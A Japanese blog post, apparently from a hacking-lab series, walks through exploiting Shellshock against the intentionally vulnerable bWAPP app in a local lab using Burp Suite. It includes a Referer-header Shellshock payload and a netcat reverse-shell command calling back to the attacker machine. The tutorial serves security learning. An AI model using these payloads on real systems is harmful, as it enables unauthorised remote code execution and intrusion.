0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング7 Shellshockでの攻撃

Last updated at Posted at 2022-05-31

はじめに

「ハッキング・ラボのつくりかた」p.649-652を参考に、Kalilinux2022.1で検証した記事です。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

Shellshock

bashの脆弱性を突いて、http要求のRefererから任意のコマンドを送り込む

実証

"http://192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Shellshock Vulnerability(CGI)」を選択して「Hack」をクリックして、"http://192.168.56.60/bWAPP/shellshock.php"に遷移する。

shellshock.phpのソースを確認する。59行目に次のコードを見つける

shellshock.php
<iframe frameborder="0" src="./cgi-bin/shellshock.sh" height="200" width="600" scrolling="no"></iframe>

shellshockのソースも確認する。

shellshock.sh
<!DOCTYPE html>
<html>
<head>
<link rel=stylesheet type=text/css href=../stylesheets/stylesheet.css />
<title>bWAPP - Shellshock Vulnerability (CGI)</title>
</head>
<body>
<div id=frame>
<p><i>
This is my first Bash script :)<br />
Current user: 
www-data
</i></p>
</div>
</body>
</html>

"This is my first Bash script :)

Current user: www-data"
がshellshock.shの実行結果であることが分かる。つまり、shellshock.phpで任意のシェルが実行できる可能性がある??

Firefoxでの設定

URL入力欄に"about:preferences"と入力して、一番下の「ネットワーク設定」の「接続設定」をクリックする。「手動でプロキシを設定する」を選択して、全ての欄を"127.0.0.1"と設定、ポート番号は"9500"と設定する。
image.png

Burpでhttp要求を補足

BurpSuiteを起動して、「Temporary project」>「Use Burp defaults」と進む。

「Proxy」タブの「Options」タブからBurpのポート番号を8080から9500に変更する。
image.png

同じProxyタブの「Intercept」タブに移り、「Intercept is on」の状態にする。Firefoxで"http://192.168.56.60/cgi-bin/shellshock.sh"にアクセス。http要求は、Burpに補足される。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_21_38_17_shellshock_burp1.png
「Action」から「Send to Repeater」をクリック・実行し、Repeaterに送る。
その後は、interceptをオフにしておく。

「Repeater」の「Request」タブに移り、" Referer: () { bWAPP; }; echo; /bin/echo "shell shock" "を画像のように挿入する。偽造したhttp要求を送る。終わったら「Send」をクリック。Responseタブに移ると、"shell schock"が表示されている。これが、shellshockの脆弱性があることの確証となる。(bee-boxのシェルが実行できる。)
VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_21_55_59_shellshock_burp2.png

リバースシェルで接続

kaliLinuxの端末で、次のコマンドを実行。

nc -nlvp 5050

Burpの「Request」タブにて、"Referer: () { bWAPP; }; echo; /bin/nc -e /bin/bash 192.168.56.2 5050"を挿入する。「Send」をクリックすると、端末でリバースシェルのセッションが確認できる。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_22_17_58_shellshock_burp3.png

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?